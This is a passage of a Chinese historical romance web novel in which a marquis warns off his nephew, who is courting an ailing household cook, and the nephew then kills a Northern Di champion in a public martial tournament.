就在这时,门外传来一阵急促的脚步声,伴随着一道张扬的嗓音:
“听说沈娘子病了?在哪
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儿呢?”
裴惊驰人未到声先至,大步流星地跨进门来。陈凡在后头根本拦不住。
然,在进门后,看到沈令薇正不省人事地躺在榻上,额头上还搭了一方毛巾,想也不想抬脚就要走进去。
“站住!”裴谨之冷声呵斥他。
“你平日里便是这般规矩?”
裴惊驰先是一愣,继而才意识到自己唐突了,忙咧开笑脸。
“小叔教训的是,是我唐突了,这不军营里呆久了,一时没改过来。”
他又伸长脖子看了看那头的沈令薇,“听说沈娘子病了?怎么回事?”
他目光掠过一旁还没来得及收拾的碗筷,嘴里不满地抱怨:“我说小叔,侯府这是穷得请不起厨子了?还是大厨房那帮人只拿钱不干活?光逮着她一个人薅?”
“她是厨娘,又不是府上的长工,你这般不怜香惜玉,传出去也不怕冷了人心?”
裴谨之的脸色瞬间又沉了几分。
“你来,就是为了说这些?”
提起正事,裴惊驰收起了嬉笑,正色道:“自然不是。我来,是想跟小叔打听那北狄高手的事。”
裴谨之抬眼,走向案桌。
裴惊驰紧随其后,在他案前站定:“三日后那场比试,我虽然应下了,但不能打没准备的仗。赫连绯带的那几个人,什么路数?什么兵器?擅长什么?小叔这边可有查到什么?”
裴谨之淡淡地看他一眼:“你倒是还没被冲昏头脑。”
裴惊驰挑眉:“小叔,我要是在战场上随意轻敌,脑子不清晰,怕是早死好几回了。”
“据说那巴图号称‘北狄第一勇士’,侄儿再怎么糊涂,也不会拿大周将士的命去搏。”
裴谨之眼底极快地闪过一抹赞赏,从书桌找出一份密函递给他,嘱咐道:
“这是我叫人连夜搜集的卷宗,若遇不敌,记住,当弃赛保命为先。”
裴惊驰小心翼翼地收好密函:“多谢小叔。放心,侄儿还没娶媳妇呢,可舍不得死。”
说完,他故作漫不经心地往屏风后扫了一眼:“小叔,你一会儿还要进宫议政吧,墨苑这地方,连个使唤丫头都没有,沈娘子烧成这样,要不侄儿顺道把她背回静和苑去?银杏这丫头照料起来也方便。”
就差没把小心思给写在脸上。
第76章 他用她盖过的毯子
裴谨之没有立刻答话,慢条斯理地将狼毫搁在笔枕上,眼底满是洞悉一切的压迫感。
“前两日,你母亲来给你祖母请安,说起你的终身大事。”
裴谨之突然开口,说了件风马牛不相及的事。
“说你如今也加冠了,战事也已经稳定,是时候该替你相看一些名门贵女,早些把婚事定下来,也好让你收心。”
“什么?!”裴惊驰脸色猛地一变,急声道:
“别呀小叔,我才刚从边关回来,京城的风都没吹热乎呢,成哪门子亲啊!这事不急。”
“可你母亲如今,怕是急得像热锅上的蚂蚁。”
裴惊驰一愣:“我娘急什么?”
裴谨之冷哼一声,一字一句敲打在他心上:“你回京那日,连家门都没进,便一头扎进了南风馆。昨儿又去。”
“你以为你做的隐秘,可你母亲怕是早就收到了消息,甚至还担心你有某种特殊癖好。”
裴惊驰的表情瞬间有些一言难尽。
“我那都是去救人的,小叔你又不是不知道……”
“可你母亲会信吗?”裴谨之打断他的话,语气带着些许警告的意味。
“你母亲已经认定你在军营几年,养出了什么见不得人的癖好,正满府派了眼线盯着你,你身为长房嫡子,若这个时候传出跟一个厨娘拉扯不清,还背着她招摇过市……”
“你觉得你母亲会放过她吗?”
裴惊驰浑身猛地一震,像是被人当头浇了一盆冰水。
他虽然行事不羁,但绝不蠢。
母亲的手段有多阴损,从这些年来父亲后院的姨娘们,一个孩子都没生下来,可窥见一斑。
若是让母亲误以为沈令薇勾引了他,那沈令薇在侯府,绝对活不过三天。
裴惊驰攥紧拳头,脸色青一阵白一阵的。方才那股冲动也被裴谨之这话当头一棒,击了个粉碎。
“侄儿明白了。”他咬牙,像只战败的狼犬,深深看了眼屏风那边,拱手道:
“小叔教训的是,是侄儿行事鲁莽,险些害了她。那……就劳烦小叔照顾,我这就回去。”
裴惊驰说完,有些丧气地出了墨苑。
裴谨之看他离去的背影,眼底却没有半分胜利者的喜悦,反而翻涌起更深的晦暗。
……
午时过后,沈令薇悠悠转醒。
入目是陌生的承尘,空气中有股淡淡的松烟墨香,有些熟悉。
沈令薇心下一惊,下意识地想要起身,却发现身上沉甸甸的,盖着一条厚实的毛毯。
毛毯是墨色的缎面,边缘触手升温,指尖能陷进去,是极尽的软绵。
这是……
“沈姐姐,你可算醒了?”
还没等她回过神来,银杏的声音就在一旁响起。
她手里还端着一碗黑漆漆的药,“你这回真是吓死我了,烧得人都糊涂了,要不是侯爷及时请来大夫,怕是得遭老大的罪了呢。”
沈令薇敏锐地捕捉到关键字眼;“侯爷?”
她目光环视一圈,见这确实是晕倒前所在的屋子,问;“他人呢?”
银杏:“哦,侯爷进宫议政去了,走之前吩咐了,让你在这儿养着,等退了烧再回去。我本来想背你回去的,可侯爷说墨苑距离远,跑来跑去的折腾人。”
沈令薇愣了一下。
入府的时候,她记得张嬷嬷告诉过她,墨苑从不留人。
尤其是女子。
可她刚才竟晕倒在这儿。
沈令薇目光落在身前的毯子上,一时不知道在想些什么。
银杏眨眼:“这毯子是侯爷走之前让我给你盖的,说是回去取太麻烦,就将就用了。”
沈令薇垂眸看着这条名贵的毯子,手心莫名地有些发烫。
她强撑着起身,把那条毛毯叠得整整齐齐,放在软榻上,甚至还下意识地抚平了上面的褶皱,仿佛这样就能抹去自己曾在这里躺过的痕迹。
“走吧,回静和苑。”她对银杏嘱咐道。
“可你的身体……”
“无碍。”
其实,她昨晚从南风馆出来的时候,就察觉到身上有股莫名的燥热。故意去淋了雨,试图让自己保持清醒。
后来回了院子,那股燥热愈发严重,她又夜里打了冷水,这才勉强把火气压下去。
可没想到这么一弄,真就把自己弄病了。
就这样,两人在裴谨之上朝的时候,回到了静安苑。
……
当晚,夜深露重。
裴谨之从宫中归来,独自步入内室。
屋里已经没有了沈令薇的身影,但空气中似乎还留着一股淡淡的烟火气息。在这
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清冷的屋子里显得格外突兀。
裴谨之视线一扫,很快落在了那方叠得整齐的毛毯上。
他走近,伸手划过毛毯上的皮**,唤来陈凡。
“将此物,拿去烧了。”
陈凡看着这昂贵,上好的毛毯,愣了一瞬,最终什么也没问,转身走了出去。
“等等!”
突然又被叫住。
“罢了,先放那儿吧。”
陈凡看着裴谨之那张阴晴不定的脸,心里直犯嘀咕,却也一个字都没说,退了出去。
屋内重归寂静,唯有几盏烛火忽明忽暗。
裴谨之洗漱完,径直走向床榻休息。
然,在路过那张软榻时,目光又不经意间落到那张毛毯上。
他站在原地,许久未动。最后,鬼使神差地,伸出手,拿起了它。
毛毯很轻,上面还残留着一丝若有似无的气息。
不是熏香,而是厨房里的火气味道。
他闭上眼,脑海里忽然浮现出今日清晨,她拉着自己的手,贴在自己脸上的画面。
那灼热的呼吸,娇软的嗓音,还有……毫不设防的依赖。
裴谨之的呼吸,乱了一瞬。
入夜,室内的烛火熄灭。
守夜的小厮缩了缩脖子,提着灯笼打了个哈欠,靠在廊柱旁昏昏欲睡。
墨苑向来清冷,侯爷每晚歇息时也都极为安静。
可今夜不知为何,小厮听见屋里传来一些古怪的声音,起初是衣料摩擦的窸窣声,很轻。而后,似乎又听见一道极轻的闷哼。
那声音沙哑得不似人声,透着股子困兽般的躁郁。又像是在极力忍耐着什么。
直到后半夜,房间归于安静。
就在顺子刚准备睡个回笼觉时,却听见屋里传来一道声音:
“备水……”
顺子顿时一惊,不敢怠慢,忙让人去厨房打了水抬入房中
进屋时,顺子隔着屏风偷偷瞄了一眼,发现那侯爷那床榻边落了件毯子,皮**被抓得凌乱不堪。床榻边也一片狼藉。
侯爷本人则坐在黑暗中,半张脸隐在阴影里,一身雪白的里衣像是汗水浸湿了一般,透出几分从未有过的狼狈,与阴鸷。
察觉到侯爷看过来的视线,顺子赶忙收回目光,不敢再看,忙不迭地躬身出去,还带好了房门。
第77章 娘亲,那个人就是大坏蛋吗?
两日后,京城校场。
晨光初透,校场四周已是人头攒动。
高大的木栅栏围出一片宽阔的场地,正中是一座三尺高的擂台,木板铺面,四角立着碗口粗的木桩,系着红绸,被晨风吹得猎猎作响。
擂台正北方向搭着一排高台。大周官员分坐两侧,裴谨之身为文臣之首,端坐于最中央,玉冠束发,面容沉静如水。
左右两边分别坐着七八个文武官员,都是朝中重臣,各个面色端凝。
另一侧,则分坐着北狄使臣,气势也是丝毫不减。
赫连绯今日换了一身玄色金纹的北狄王族礼服,长发以金冠束起,少了往日的妖冶,多了几分凌厉。
他斜靠在椅背上,手里转着一只酒盏,嘴角噙着似笑非笑的弧度,像是在看一场与自己无关的热闹。
他的身后,站着萨满,独眼龙,还有好几个北狄使者。
最为扎眼的,是他左侧的那个男人,身高约莫两米高,肩宽背阔,像一座铁塔。光着一双胳膊,肌肉虬结,青筋如蛇。眼神像鹰隼一样,冷冷的扫过一众大周官员,带着几分不屑。
晨时刚过,栅栏外围就**了诸多百姓,里三层外三层的,把擂台四周围了个水泄不通。
“那就是北狄第一勇士巴图?乖乖,这身板,跟座山似的。”
“听说他能单手举起一头牛,一拳能打死一匹马!”
“嘶……那咱们这边谁上?裴少将军能行吗?”
百姓们的议论声嗡嗡响成了一片。
在人群最靠前的位置,有一抹身影格外出挑。
是沈令薇,她今日穿了件月白的夹袄,脸上还透着几分苍白。左手牵着安安,右手则牵着裴恪。
这几个侯府的小崽子能来,自然是裴谨之默许的。
用他的话来说,裴家的子孙不能只长在温室里,得亲眼见见这刀口舔血的世面。
裴野这混世魔王今日也一改往日的顽劣,一双小手死死抓在围栏上,紧张得直咽口水。
“大堂兄一定会把那头大狗熊打趴下的是吧?”
裴瑶的小脸也绷得紧紧的,声音有些底气不足:“一定会,我大哥可是北境战神!战无不胜!”
裴朔则目光紧盯着台上,眉头皱起,没说话。
安安往沈令薇怀里缩了缩,小声开口:“娘亲,那个人就是大坏蛋吗?他好高……”
“安安不怕。”沈令薇轻声哄着女儿,将她护在怀里,目光也朝着那北狄勇士看过去,后背也起了一层冷汗。
那巴图身上的杀气太重了,重到隔着这么远,都让人感到窒息。
晨光越来越亮,擂台上的影子被拉得老长。
先是鸿胪寺的官员宣读比试规则,结束之后,双方比赛开始。
这场比试名为切磋,交流。可实际上众人都知道,这关乎到两国的颜面。还有一个赌注。
是以,沈令薇的一颗心也跟着战鼓的声音,高高悬起。
比赛很快开始,首先上场的是禁军中的一名副将,姓赵。
他身形精悍,擅使长刀。
和他第一轮对峙的,是北狄那独眼龙。
赵副将纵身上台后,刚朝独眼龙拱手,结果对方咧嘴一笑,从背后猛的抽出两柄短斧,二话不说,上来就开打。
赵副将侧身避开,并反手一刀削向对方手腕。
但独眼龙招式凶狠,全无花哨,一斧快过一斧,逼得赵副将连连后退。
底下的百姓们看得揪心,胆小的已经捂住了眼睛。
打了差不多三十个回合,独眼龙虚晃一招,趁机一脚踹在赵副将胸口,将他整个人倒飞出去,重重摔下擂台。
“噗!”
赵副将猛地吐出一口鲜血来,周围的同僚立马将他扶起。
全场哗然。
独眼龙把双斧往肩上一扛,仰天大笑三声。
“哈哈哈!这就是你们大周的勇士?”
大周的官员面面相觑,无人应声。
赫连绯歪坐在椅背上,嘴角的笑意越来越深。
那赵副很快被扶下去,胸口衣襟已经被鲜血染红。
独眼龙还在台上叫嚣,这时,一个三十出头,身形精悍的男子飞身上台。
此人名唤周德胜,身形精悍,面容冷硬,是京营参将,擅使双钩,在军中素有“快钩”之名。
“大周折冲
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府,参将周德胜,领教阁下高招!”
独眼龙见他是个瘦骨嶙峋的,压根没放在眼里,轮起板斧便是一记横扫。
周德胜像是一条滑不溜手的游鱼,顺着斧柄贴身而上,手中的双钩精准地锁住了独眼龙的关节。
他深知力气拼不过,只能改用‘巧劲’。
双方你来我往,两道寒光在空中交错,不出二十回合,周德胜猛地一个错位旋身,左手钩瞬间勾住了独眼龙的腰带,右钩则如毒蛇吐信,一招抵在了独眼龙的喉咙上。
“承让了。”周德胜冷声开口,虽在喘气,眼神却锐利如刀。
独眼龙先是一愣,随即脸色铁青。
他咬着牙,趁着周德胜放松警惕的时候,独眼里闪过一抹阴毒,猛地从靴筒里抽出一把**——
“小心!”
“周参将!”
现场响起此起彼伏的抽气声,百姓们惊叫连连。
周德胜到底也是磨炼出来的,听得背后的风声,硬生生在空中拧转身体,避开了那要命的一击。同时反手一掌劈在独眼龙的手腕上。并顺势夺过了对方的**。
“再动一下,本将送你去见你们的先祖!”周德胜怒喝一声,额角青筋暴起。
围观的百姓们反应过来,瞬间炸锅。
“无耻!输不起还偷袭!”
“北狄人就这点本事?”
“滚回去!别在这儿丢人现眼!”
一些烂菜叶子和臭鸡蛋朝着独眼龙砸过来,群情激昂。
独眼龙自知颜面尽失,只能咬牙,狠狠地瞪了周德胜一眼,灰溜溜跳下擂台。
然,还没等大周这边的欢呼声落下,一股前所未有的压迫感,如乌云压顶般席卷全场。
是那个两米高,铁塔似的巨人,巴图。
他纵身一跃,重重地砸在擂台上,那厚重的擂台,竟被震出了几道裂痕。
周德胜虽然刚打赢了独眼龙,但此刻站在巴图面前,弱小的就像一只在黑熊爪子下挣扎的瘦猫。
“大周的小崽子,力气用完了吗?”
巴图狞笑着,连武器都没出,直接伸出蒲扇般的大手,朝着周德胜扇过去……
第78章 教训
周德胜想要闪避,却发现对方的威压如同一座大山,完全锁**他的退路。
“咔嚓!”
一道牙酸的声音响起,那巴图竟单手捏碎了周德胜的双钩。紧接着,另一只手单手把周德胜整个人举起来,在空中旋转了好几圈。
台下的百姓全都瞪大眼睛,不敢置信地看着眼前这一幕。
巴图将周德胜举过头顶,眼神阴狠地扫过下方的百姓。
“这等货色,也配挡老子的路?”
“砰!”
他像丢垃圾一样,将周德胜甩下高台,双手‘砰砰砰’地捶打着自己的胸口。
“还有谁?还有谁敢上来?看老子不捏碎了他!”
全场死寂。
死一般的寂静。
方才还打败了独眼龙的周德安,竟在这怪物手底下一招都没过,被直接丢下了台。
此人这等神力,谁敢上去找死?
一些胆小的百姓已经两股战战,纷纷狂咽唾沫。
裴朔,裴野,还有裴瑶,全都死死的盯着台上的‘怪物’,捏拳地捏拳,皱眉的皱眉。气氛无比的凝重。
裴恪已经开始发抖,小小的身子径直往沈令薇身边靠。
“娘亲,我……我害怕……”安安也快要哭出来。
沈令薇望着擂台对面那条空荡荡的通道,再看着擂台上这个大力怪,心跳一下比一下重。
在绝对的力量面前,任何技术都会显得多余。
就在这绝望的气氛中。
“嗒嗒嗒……”
一阵马蹄声由远处传来,越来越近,越来越响,像闷雷滚过天际。
众人自动让开一条道路。
只见一匹高大的枣红马疾驰而入,马上之人一身玄色劲装,未着铠甲,腰间挂着一柄长剑,眉目张扬如烈日。
“是裴少将军!”
“裴少将军来了!裴少将军!”
百姓们如同看到了希望,目光纷纷追随着裴惊驰入场。爆发出响亮的欢呼声。
那马儿如同一道撕裂阴霾的闪电,带着一往无前的气势,眨眼间就冲到了擂台下。
就在这时,裴惊驰足尖一点,整个人猛地拔地而起,宛如一只展翅击空的鹰隼,身形在半空中翻转一圈,落地时单膝撑地,长发飞扬。
他缓缓直起身,拍了拍膝上的灰,像是刚从家里踱步出来。
他先是扫了一眼台下被抬走的周德胜,又看了眼对面那尊‘铁塔’,嘴角勾起一抹痞笑。
“爷不过是贪睡起得晚了些。怎么,山中无老虎,猴子称大王?什么阿猫阿狗都敢在我大周的京城里狂吠了?”
台下的百姓如同久旱逢甘霖,振臂高呼:
“裴少将军威武!”
“少将军,教训这帮北狄蛮子!”
高台之上,原本面如死灰的大周官员们,也忍不住长舒了一口气。
唯独首位的裴谨之,目光在裴惊驰身上停留了一瞬,又看了眼对面胜券在握的赫连绯,眼底闪过一丝睿芒。
这头,原本歪坐在椅子上的赫连绯,嘴角笑意猛地一僵,目光阴恻恻地盯着裴惊驰,朝巴图命令道:
“巴图,好好向裴少将军讨教一番。”
巴图龇着一口黄牙,眼底闪过一丝轻蔑:“你就是裴阎王?”
裴惊驰挑眉:“怎么,听过爷的名号?”
巴图捏着拳头来了个对击:“狂妄小儿!简直是不知死活!”
“今日,爷爷心情好,可让你三招,三招过后,爷爷定要把你的脑袋,像捏熟透的西瓜一样,当着他们的面,生生捏爆!”
巴图手指着四周的百姓,语气狂妄至极。
裴惊驰不怒反笑,眉宇间满是乖张:“乖孙子,爷在北境拿人头当球踢的时候,你还在草原上玩泥巴呢!既然你这么客气,爷就笑纳了!”
话音未落,裴惊驰动了。
“铮!!”
腰间长剑出鞘,犹如龙吟惊堂!
他身形快如鬼魅,化作一道黑色的闪电,正面直取巴图的面门。
巴图轻蔑地冷哼一声,站在原地纹丝不动。
他对自己的横练功夫自信到了极点,连手都懒得抬,只等剑尖到了近前,才猛地绷紧了脖颈的肌肉,试图硬扛。
可谁知,裴惊驰这一剑竟是虚招!
那剑尖在距离巴图鼻尖寸许的地方突然停住,紧接着,裴惊驰双足在巴图膝盖上猛地一点,借力而起,身姿轻盈得仿佛没有重量。
巴图本能地挥出蒲扇大手,想要将半空中的裴惊驰像拍苍蝇一样生生拍死。
可这一动,便破了他‘让三招’的狂言。
而裴惊驰要的,就是
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他动!
他身在半空,眼看那巨掌就要拍中面门,台下的众人见状,不禁发出惊呼,沈令薇的一颗心也都提到了嗓子眼。
就在这千钧一发之际,裴惊驰腰腹猛地发力,整个人竟在半空中扭转出一个不可思议的弧度。最后贴着巴图的掌风擦过。
巴图那股强悍的罡气,直接削断了他的一缕发丝。
“好身法!”
台下的大周武将忍不住大喝一声。
可,就在所有人以为裴惊驰要借机退开时,却见他嘴角勾起一抹冷笑,紧接着。借着巴图挥拳后门户大开那一瞬间,手中的长剑挽出一个漂亮的剑花。
直接以一个刁钻的角度,直刺向巴图手臂侧方,腋下。
天下硬功,皆有罩门。巴图再怎么练,腋下的皮肉也护不到铁板一块!
“呲!”
利刃割破皮肉的声音响起,两人错身而过。
众人再看时,裴惊驰已经稳稳落在三步开外,长剑指地,一滴血珠正顺着剑锋滴落,‘啪嗒’一声,滴在擂台的木板上。
全场,瞬间陷入死一般的寂静。
巴图还保持着那挥拳的姿势,突然觉得腋下传来一阵刺痛。
他僵硬地低头,却发现自己这身刀枪不入的皮肉上,赫然出现一道半尺长的血口子。
“这……这不可能!”
北狄众人,原本运筹帷幄的脸上,笑容瞬间僵硬,气压低得能下雨。
大周这边的百姓在愣了两秒后,瞬间爆发出震天的欢呼:
“少将军威武,让这蛮子见血了!”
“哈哈哈,还大言不惭地说北狄第一勇士,我看是第一弱鸡还差不多!”
“……”
巴图抹了一把腋下的鲜血,听见周遭的嘲讽声,一双鹰隼般的眼睛瞬间充血,变得赤红一片。
原本让对方三招是想立威,羞辱对方。
如今不仅先动了手,还让对方寻着破绽见了血。
这简直比杀了他还难受!
“啊!!!”
巴图发出一声狂怒,声音之大,整个擂台仿佛都掀起一股气浪。
浑身的肌肉以肉眼可见的速度,诡异的膨胀了一圈,整个人如同陷入了狂化状态。
“大周的杂碎!爷爷今日要把你一寸一寸地撕成肉泥!!!”
第79章 心惊肉跳
“吼!!!”
巴图的怒吼声如同实质的波浪,震得擂台四周的金色幡旗疯狂作响。
没有任何花哨的招式,他猛地向前跨出一步,抡起那只比裴惊驰脑袋还要大一圈的铁拳,朝着裴惊驰的面门发出雷霆一击。
周遭的空气仿佛都被这一拳抽干,形成了一个短暂的真空。
裴惊驰眼神一凛,身形猛地向后仰去,整个人几乎要贴在台面上,施展出一招极其惊险的‘铁板桥’。
“呼!”
铁拳擦着衣襟挥过,强劲的拳风刮得裴惊驰面皮生疼。
巴图一拳落空,又向下一拍,试图将裴惊驰拍死在台面上。
裴惊驰也反应极快,足尖在台面猛地一蹬,身形迅速朝后**,如同一条滑不溜揪的鱼。
“砰!”
“轰!”
“咔嚓!”
巴图就像一头猛兽,不断地在台面上施展拳风,擂台厚重的木板都被砸得四分五裂,木屑纷飞。
围观的众人看得是心惊肉跳,一颗心都提到了嗓子眼。
裴野,裴瑶他们几个,手攥得死紧,拳头差点都要捏爆。
沈令薇死死捂着嘴,心脏像被一只无形的大手狠狠揪住。
高台之上,大周的官员们脸色凝重得能滴出水来,兵部侍郎抖着手,“这……这哪是比武,这分明是送死啊!”
裴谨之的目光也紧盯着台上那道身影,冷若冰霜的脸上看不出情绪,但周身涌动的戾气,却让周围的人不寒而栗。
数个回合过去,裴惊驰虽然屡次险象环生,但身上却并未受重伤。
反观巴图,身上的鲜血已经染红了半边身体,狂化状态让他气喘如牛,攻势也隐隐有了颓势。
北狄使团那边看出了端倪。独眼龙扯着嗓子在下面大喊:
“大周的将领,就这点本事吗?只知道像老鼠一样躲来躲去?”
“裴阎王,我看是裴乌龟还差不多,有本事别躲,跟咱们真刀**地干一架啊!”
另外也有北狄人叫道:“就是,打不过那就直接磕头认输好了。”
大周的百姓们气得浑身发抖,眼眶发红。纷纷敢怒不敢言。
一个汉子咬着牙,“少将军这是在保存体力,寻找机会,这帮蛮子懂个屁!”
又有人道:“可是再这样下去……”
百姓们盯着看台,裴惊驰虽然还在躲,但身形明显也有了些疲惫。
大家心里的愤怒、担忧、**交织在一起,就像是一个即将**的**桶。
裴野到底年纪小,急得直跺脚:“大堂兄为什么不用剑?刺他啊!刺那些伤口!”
裴瑶站在她旁边,小脸绷得紧紧的,嘴唇抿成了一条直线。
“没用的。”
裴野一愣,“什么?”
裴瑶目光依旧锁定在看台上,“那人练的是外家硬气功,一身钢筋铁骨,刀枪不入,寻常刀剑刺上去,跟挠痒痒一样。”
裴野瞪大眼睛:“还有这种**?瑶姐姐,你怎么会知道?”
裴瑶捏紧小拳头,没有回答。
实际上,她是夜里去书房找哥哥,看他趴在书案上睡着了,无意间瞥见那些资料的。
那些资料上就清楚地记录了这种**。
所以哥哥看似在躲,实则也是在寻找对方的破绽。
裴瑶的心紧紧揪在了一起,眼眶发酸,只能拼命在心底替哥哥祈祷。
安安扯了扯沈令薇的袖子,小脸煞白:“娘亲,要是大公子一直找不到那个什么罩门,是不是就打不赢这个大怪物了?”
沈令薇陷入了沉默。
她目光落在看台上,后背也早就出了一身冷汗。但还是深吸一口气,朝几个崽子们安慰道:
“不会的!大公子是从北境回来的战神,他一定不会输!”
“那怪物虽然力大无穷,但体力总有耗尽的时候,我们再等等看。”
裴野眼眶泛红:“要是这次大堂兄真的打赢了,我以后就把生煎包都让给他吃,再也不抢了……”
说完,裴野又朝着沈令薇看过来:“沈姑姑,要是大堂兄真的打赢了,你会做好吃的奖励给他吗?”
沈令薇顿了顿,摸摸裴野的脑袋。
“嗯。”
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若他真的赢了,就给他做上一整桌席面。
擂台上,一直只躲不攻的裴惊驰,突然在一记滑步后,稳稳地停住了身形。
他抬头抹了把脸上的木屑,冲着气喘吁吁的巴图露出了一个看似灿烂,实则却让人背脊发寒的笑容。
“喊够了吗?孙子们,爷爷的猫鼠游戏玩腻了。”
巴图瞳孔一缩,还没来得及反应,裴惊驰已经动了。
这一次,他剑光如匹练,直刺巴图面门。
巴图挥拳抵挡,可剑锋却在他拳头上碰撞出金石交鸣的声音。
裴惊驰没有硬拼,剑尖一个借力,凌空扫向他的大腿。
巴图侧头避过,裴惊驰的剑已经从他腋下穿过去。
“嗤!”
一道血线从巴图腋下飙出来,正是方才他用手臂抵挡,未曾受伤的位置。
巴图再次抡起铁拳捶过来,裴惊驰不闪不避,剑尖在他掌心一点,借力后翻。最后落到三丈开外。
“找到了!”
伴随着这声短呵,裴惊驰剑光再起,没给对方喘息的机会,招招不离巴图的腋下。
巴图疯狂地护住要害,拳头挥舞得虎虎生风,可体力已经到了极限,动作越来越慢。
裴惊驰的剑却越来越快,像暴风雨中的闪电,每一剑都在巴图身上留下一道血痕。
终于,一道冷冽的剑光闪过。
“破!”
裴惊驰整个人犹如一柄出鞘的绝世凶剑,逆流而上,同时,身形以一个诡异刁钻的角度,从巴图的腋下间隙穿插而过。
“噗嗤!”
利刃入肉的声音,在寂静的校场上被无限放大。一柄长剑几乎齐根没入巴图的身体。
他那一身的钢筋铁骨,在这一剑之下,如同败絮。
鲜血瞬间喷涌而出,溅了裴惊驰一脸一身。
“不!”
北狄使团众人瞧见这一幕,都快疯了,齐齐起身,不敢置信地瞪大了眼珠子,完全不敢相信眼前的这一幕。
“啊!!”
可就在这个时候,全场的百姓都还没来得及欢呼,异变陡生。
第80章 大堂兄,站起来!
巴图这头怪物,在生死关头,发出一声凄厉至极的惨叫,凶悍属性也彻底爆发。
他竟不管身体上的长剑,忍着剧痛,右臂猛地抡起一记后手摆拳,狠狠砸向裴惊驰的胸膛。
这一拳,带着摧枯拉朽的力量。
所有人都瞪大眼睛,张大嘴巴,整个场面如同电影特效镜头的慢动作,每一帧画面都被无限拉长。
沙钵大的铁拳撕裂空气,甚至带起了一阵刺耳的音爆声。
裴惊驰瞳孔骤缩,瞳仁中的拳头倒影不断拉近,越来越大。
“砰!”
“咔嚓!”
震耳欲聋的巨响炸开。
裴惊驰本能的抽回长剑,抵挡在胸前,可还是被这恐怖的力量砸出一个凹陷。
一股排山倒海般的力量,轰在了裴惊驰的胸口。他整个人就像一只断线的风筝,被狠狠地震飞三丈远。
“轰!”
他撞断了两根粗壮的围栏,最后重重的砸在满是木屑的地上,划出一道长长的血痕。
“噗!”
裴惊驰猛地喷出一大口鲜血,衣裳瞬间被染透,双臂也止不住的痉挛,浑身力气如同被抽干了一般,最终身子一软,倒在了血泊之中。
“惊驰!”
“少将军!”
“大堂兄!”
“大哥!”
高台上,大周的官员们骇然变色,目眦欲裂。
裴谨之更是忍不住‘蹭’地起身,双拳在袖子里紧紧攥起,瞳孔剧烈地收缩着,一股骇人的戾气在他周身疯狂肆虐。
而北狄使团那边,同样是一片死寂。
赫连绯猛地坐直了身子,原本把玩酒盏的手一松,杯盏落地。发出清脆的声响。
那张妖冶的脸上此刻阴沉得能滴出水来。
巴图的罩门,竟然被破了!
该死!
擂台下,百姓们的心瞬间沉入了谷底,死一般的寂静笼罩了整个校场。
“哥!”
裴瑶撕心裂肺地喊了一声,就要往台上冲,被裴朔死死拉住。
她眼泪唰唰地流了下来,捂着嘴,一个字都说不出来。
裴朔也咬着牙,眼眶通红,死死盯着台上那道身影。
安安吓得‘哇’的一声哭了出来,把脸埋到沈令薇怀里。
沈令薇也是浑身发冷,大脑里一片空白。心脏仿佛被人用一把生锈的钝刀子狠狠剜割着。
那个平日总爱开她玩笑,带着三分痞笑,爱摸安安的头,说要为她讨一个公道的男人,此刻正毫无生气地躺在血泊中,生死不知。
“嗬……嗬……”
令人绝望的窒息中,擂台对面突然传来一阵毛骨悚然的声音。
众人惊恐地看过去,只见巴图浑身是血,腋下的伤口还在潺潺地往外喷血,他竟摇摇晃晃地重新站了起来。
宛如一个从地狱里爬出来的魔神,赤红着眼睛,死死地盯着擂台边缘的裴惊驰。
他拖着沉重的步伐,犹如一座移动的血山,一步,一步朝着裴惊驰迈过去。
所有人都绝望不已,惊恐地闭上了眼睛。
“……完了。”
“这下真完了。”
就在所有人都以为大局已定,死神即将降临之时。
“大堂兄,你起来啊!”
一声凄厉,却稚嫩的童声猛地响起,打破了这满场的死寂。
是裴野。
这个平日里连亲爹都能出卖的混世魔王,此刻双手死死扒着围栏,眼泪大颗大颗地疯狂砸落。
“你起来,我以后再也不跟你抢生煎包了!我把肉都留给你……呜呜,你起来呀!”
如此纯粹又绝望的哭喊,像一把尖刀,猛地**了在场所有人的心脏里。
紧接着,一向少言寡语的裴朔也猛地冲上前,冲着台上发出一声嘶吼。
“大堂兄,你是大周的将军,你不能躺在北狄人的脚下!快站起来!”
紧接着,又有第二个人,第三个人,纷纷被点燃心中的血性和不甘,朝着高台上大喊。
“少将军,别睡!站起来!”
“站起来!站起来!站起来!”
声浪一浪高过一浪,震得擂台上的幡旗都在颤抖。
裴瑶挣脱裴朔的手,上前哭喊道:“哥!你说过要带我去骑马的,你不能说话不算话,你快起来啊!
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”
几百人,几千人。百姓们的呼喊声汇聚成一股排山倒海的惊天浪潮,冲破云霄。
高台之上,裴谨之依旧端坐,可那把坚实的黄花梨太师椅的扶手,竟被他生生捏出了一道裂纹!
在这震天动地的呼喊声中,血泊里,裴惊驰那只原本已经无力的手,竟微微屈伸了一下……
紧接着,他满是鲜血的手指,一点一点挪动,扣住了那把被砸凹的剑鞘。
“咳……”
在千万双目光的注视下,他咳出一大口血,然后用剑鞘抵住台面,一寸一寸地,把自己给撑了起来。
即便身体都在不受控制地痉挛,头发也早已散乱,满脸血污,看不清五官,可那双桃花眼,亮得像刀锋。
“爷还没死呢……”
他声音沙哑的不像话,却还扯开嘴角,扭头台下那几个哭成泪人的小包子露出一个痞笑。
“哭什么……”
“我可听见了,以后的生煎包,不许跟我抢!”
裴野整个破防了,隔着栏杆‘哇’的一声大哭起来,眼泪像断线的珠子一样。
这一幕,彻底激怒了对面的巴图。
他发出一声狂怒,而后又抡起一记拳风,带着摧枯拉朽的气势,朝着裴惊驰再次砸来——
“轰!”
这一拳的速度和力量,比之前更甚。
“啊!!”
“快躲啊!”
“少将军!”
众人发出绝望的呼喊声。
可裴惊驰却站在原地,纹丝未动。
他其实已经退无可退,双腿像灌满了铅。
但在巴图那记铁拳距离面门寸许的那一刹那,他眼中猛地闪过一抹狠绝。
他不退反进,主动迎了上去——
“砰!”
又是一道骨头开裂的声音响起,拳头砸在裴惊驰左肩上,胳膊瞬间脱臼,无力地垂落。
但这却是他拼死换来的一寸距离。
与此同时,他手里那半截断剑,精准地刺向巴图腋下的伤口,在那道被破开的罩门,狠狠往上一送!
“刺啦!”
这一剑,直接贯穿了巴图的肺腑。
第81章 裴野的决定
擂台上空,风停了。幡旗不卷了。所有人的呼吸都凝滞了。
时间在这一刻仿佛静止。
巴图那双牛眼瞪得像铜铃一样大,难以置信地看着没入自己身体的断剑,他试图张嘴,却只能发出破碎的‘咯咯’声。大量浓黑的鲜血从他口鼻中喷涌而出。
然后,这座铁塔一样的肉山,如同被抽断了的龙骨,‘砰’的一声,重重砸在了木板上,抽搐了两下,彻底没了生息。
寂静!
